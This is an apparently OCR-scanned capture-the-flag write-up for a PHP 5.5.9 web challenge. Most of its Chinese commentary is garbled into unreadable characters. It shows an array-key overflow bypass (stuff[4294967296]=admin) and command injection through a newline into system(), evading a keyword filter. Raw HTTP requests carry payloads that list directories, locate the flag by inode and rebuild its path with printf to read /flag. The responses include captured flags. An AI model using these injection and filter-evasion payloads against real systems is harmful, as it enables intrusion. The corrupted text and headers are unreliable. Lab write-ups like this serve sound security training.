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if($stuff $array $stuff[o]

$num= $_POST[

if (preg_match( ,$num) ) {

if (!preg_match( ,$num)){
echo

system( .$num) ;
}else{
echo

1
J
1
J
I else {

highlight file(_ FILE_);
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e phpHfRAR 5.5.9
o JETpostF RAEHFNSE:  stufF(BA) A num(E KR ESIT S IEZ J§S sy stemBHHAT)

o MEEMMHBET, NEBELETLEASE T, BE $stuff === ['admin', 'user'] N E $stuff[e]!="admin' . HRIE _EEH
#r, HRAEER php5.5.9 KIRANRR T

o BOANSHELRYT, HEMABRLBTIE T HHKGmS

F—ANSHMGE I R phps. sk AR HlkeyERi IR . HphpEHKIBF R 5 KEE KN < SBEHEN R IMEBER
SBC. AR

0] [0x100000000 => 0]);

$stuff[4294967296]
Sstuff[ ] ;

print_r($stuff);
echo ;

var_dump($stuf $array);

bool(true)
Array ( M =>admin|[1]=> user )

bool@

BRI WER OB T . XEKETF: 4204967296 B#HE, EHWEpostiR KIS BRI E K—MAN—AEHEAST, R
BEAE 4294967296 , WRERFMANAFHIK/PMERIE. . . HEIXAEAASH

e https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

e https://bugs.php.net/bug.php?id=69892

X B R E R postiR LIS EN: stuff[4294967296]=admin&stuff[ ]=user&num=666
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Auto-Pwn™
Enable Post Data
stuff[4294967296] =admin&stuff[]=user&num=666

FINFE E T AR XA T

(!preg match("/sh | wget|nc|python|php

i",$num)){

echo "my favorite num is:";

system("echo ".$num);

perl \? flag|}|cat

ETRMRELBE A SHMIRET, W: ST ENRPITERRGL. BEABNFESD nun AREBFHRS, EN

) /m (ZATICED) &I, ATLAMEM %ea REeid
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POST F HTTRM A

Host: 220.249.52 134:51168

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:84.0) Gecko/20100101 Firefox/34.0
Accept: text/html application/xhtrml+xml, application/xml;g=0.9 image/webp ** g=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/220.249.52.134:51168/

Content-Type: application/s-www-farm-urlencoded

Content-Length: 49

Crigin: http:/f220. 249 52 134:51168

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Cantral: max-age=0

stuff[4294967 296 l=admin&stufiJ=user&num=666%0als

iX B HEefEbpHiE1T, fEhackbarf R&F 6] 8
BEWRH R

Accept-Encoding: gzip, deflate

Referer: http://220.249 52 .134:51168/
Content-Type: application/s-www-form-urlencoded
Content-Length: 51

Crigin: http:/220.249.52.134:51168

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

stuf[4294967296 |=admin&stufij=user&num=666%0p]s ;1

e

HTTR/M .1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Tue, 29 Dec 2020 14:16:24 1
Content-Type: text/html
Connection: close

K¥-FPowered-By: PHP/AS5.9-Tubunty
Content-Length: 33

my favorite num is:666

index.php

X¥-FPowered-By: PHP/S 5 9-Tubuntud 29
Content-Length: 113
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hoot

dev

atc

flag

home
lib
lib64
media
mnt



PAT: 1s -1 / BEREFICMHFHRE

opt
proc
root
run
shin
SIv

tmp
usr
var

POST/ HTTR/M.1

Host: 220.2459.52.134:51168

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; nv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html application/xhtml+xmlapplication/xml;q=0.9 imagefwebp */* q=0.8
Accept-Language: zh-CM zh;q=0.8 zh-TW,q=0.7 ,zh-HI; q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://220.249.52.134:51168/

Content-Type: application/x-www-form-urlencaded

Content-Length: 54

Origin: hitp://220.249.52.134:51168

Caonnection: close

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

e

stuff[429496?295]=admin&stuﬁ'[]=user&num=666%

A LLE B flag & — AN #EHI SO, 38R BRI BIX AN SRR T
BHEPAT cat /flag &g

Accept-Language: zh-CM zh;q=08 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/220.249.52 134:51168/

Content-Type: application/x-www-form-urlencoded

Caontent-Length: 56

Origin: http://220.249.562.134:51168

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

stuff[4294567 296 )=admin&stuff] |=user&num=66E %0 .

HTTR/1.1 200 QK

Server: nginx/1.4.6 (Ubuntu)

Date: Tue, 29 Dec 2020 14:40:07 GMT
Content-Type: text/html

Connection: close

¥-Powered-By: PHP/5.5.9-1ubuntud 29
Content-Length: 1002

my favorite num is:666
total 68

drwxr-®r-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
|-rwrr--

drwxr-xr-x

1 root root 4096 Nowv 19 2019 bin
2 root root 4096 Apr 10 2014 hoot
5 root root 340 Dec 29 12:24 dev
1 root root 4096 Dec 29 12:24 etc
1 rect root 45 Dec 29 12:24__!11_:!!
2 root root 4096 Apr 10 2014 home

R Care -

Connection: close
#-Powered-By: PHP/S.5.9-Tubuntud 29
Caontent-Length: 8




ERHE T IsRE -1k5 i, ATLEE XHHIDs

Content-Type: application/x-www-form-urlencoded

Caontent-Length: 54 my favorite num is:666
Origin: http:/f220.249.52 134:51166 3284127 hin
Connection: close 30940644 boot
Upgrade-Insecure-Requests: 1 2 dev
Cache-Control: max-age=0 19276672 etc

19276704 flag
stuff[4294967 296 =admin&stufil jFuser&num=666%0ps -i ;1 30941276 home

3284765 lib
31071188 lib64
31071190 media
31071191 mnt
31071192 opt

1 proc
31071194 root
31466142 run
31466109 shin
31071333 srv

1 sys
3284773 tmp
3285677 usr
I 328539 var

Magk) 3 #FID A 19276704 AT LRI 4N T ffr 7 B i & R & Mag S AF

head “find / -inum 19276704
head --- E/RCHRIERIJLAT, BRINER101T

find / -inum 19276704 ---- IBIEAFIDER M

KBS MR - F A R B R AR R i shelldr & SR BT

:/# echo "1s”
bin boot dev diskl disk5 etc home initrd.img initrd.img.old lib 1ib32 1ib64 1ibx32 lost+found media mnt mytools opt PandE proc root ru

n sbin srv sys tmp usr var vmlinuz vmlinuz.old

/4

BT Z B 55

POST/HTTR/ A : HTTR/.1 200 OK

Host: 220,249 52 134:51168 Senver: nginx/1.4.6 (Ubuntu)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4, x64; nv84.0) Gecko/20100101 Firefox/B84.0 Date: Tue, 29 Dec 2020 15:02:52 GMT
Accept: text/html application/xhtml+xml application/xml; q=0.9 imagefwebp ™ q=0.8 Content-Type: text/html
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK, q=0.5 en-US;q=0.3 en;g=0.2 Connection: close

Accept-Encoding: gzip, deflate ¥-Powered-By: PHP/AE.5.9-1ubuntud. 29
Referer; http://220.243.52 134:51168/ Content-Length: B8
| Content-Type: application/s-www-form-urlencoded

Content-Length: 75 my favorite num is:666

Origin: http://220.249.52.134:51168 cyberpeace{e0879000b167 eabed5258 e afecB18fe9}
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
| stufff4294967 296 |=admin&stufi| [=user&num=666%0dhead “find / -inum 19276704

22| T flag
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PAT:



stuff[4294967296 |=admin&stuff user&num=666%@aprintf /fla /tmp/hello %26%26 printf g /tmp/hello %26%26 tac

“tac /tmp/hello”

e printf /fla > /tmp/hello -4 /fla B A\/tmp/hello X
® %26%26 -— &&
e printf g >> /tmp/hello — ¥ g iBINE N/tmp/helloXX 4. H Ei/tmp/hello XX KA AR : Mag

“tac /tmp/hello” ---- “tac /tmp/hello’ &#iAH /flag, tac &iEEl /flag , EIWEF|flag. tacBIFTEHE XCHEAR

POST FHTTR/M .1 : HTTR/1.1 200 OK

Host: 220.249.52.134: 48745 Server: nginx/1.4.6 {Ubuntu)

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:84.0) Gecko/20100101 Date: Sat, 02 Jan 2021 07:16:24 GMT

Firefox/g4.0 Content-Type: text/html

Accept: text/html application/xhtml+xml application/xml;g=0.9 image/webp **q=0.8 Connection: close

Accept-Language: zh-CM zh;q=0.8 zh-TW,¢=0.7 .zh-HIK;¢=0.5 en-U5;¢=0.3 en;q=0.2 ¥-Powered-By: PHP/S.5 9-1ubuntud 29
Accept-Encoding: gzip, deflate Content-Length: 68

Content-Type: application/x-www-form-urlencoded

Content-Length: 129 Frtaerite—a-is 8L

Crigin: http://220.249.52 13448745 cyberpeace{dh08a5bhh692fbhh61h8e78dd7 d68f1d}

Connection: close
Referer: http:/220.249.52 134:487 45/
Upgrade-Insecure-Requests: 1

stuf[4294967 296 = admin &stufil[=user&num=666%0aprintf fla = ftmp/hello %26%26
printf g == ftmp/hello %26%26 tac tac ftmp.l"hellol

o IXIEBH) B rUph R E SR & AT IR

e php5.5 fRAEH keyld i
o IEMIRIXXLZAITILAES /m FH %0a Seit
o IENIN &It JE(EF headdrd + SCAFHIID + R3S B3 printf £Rid
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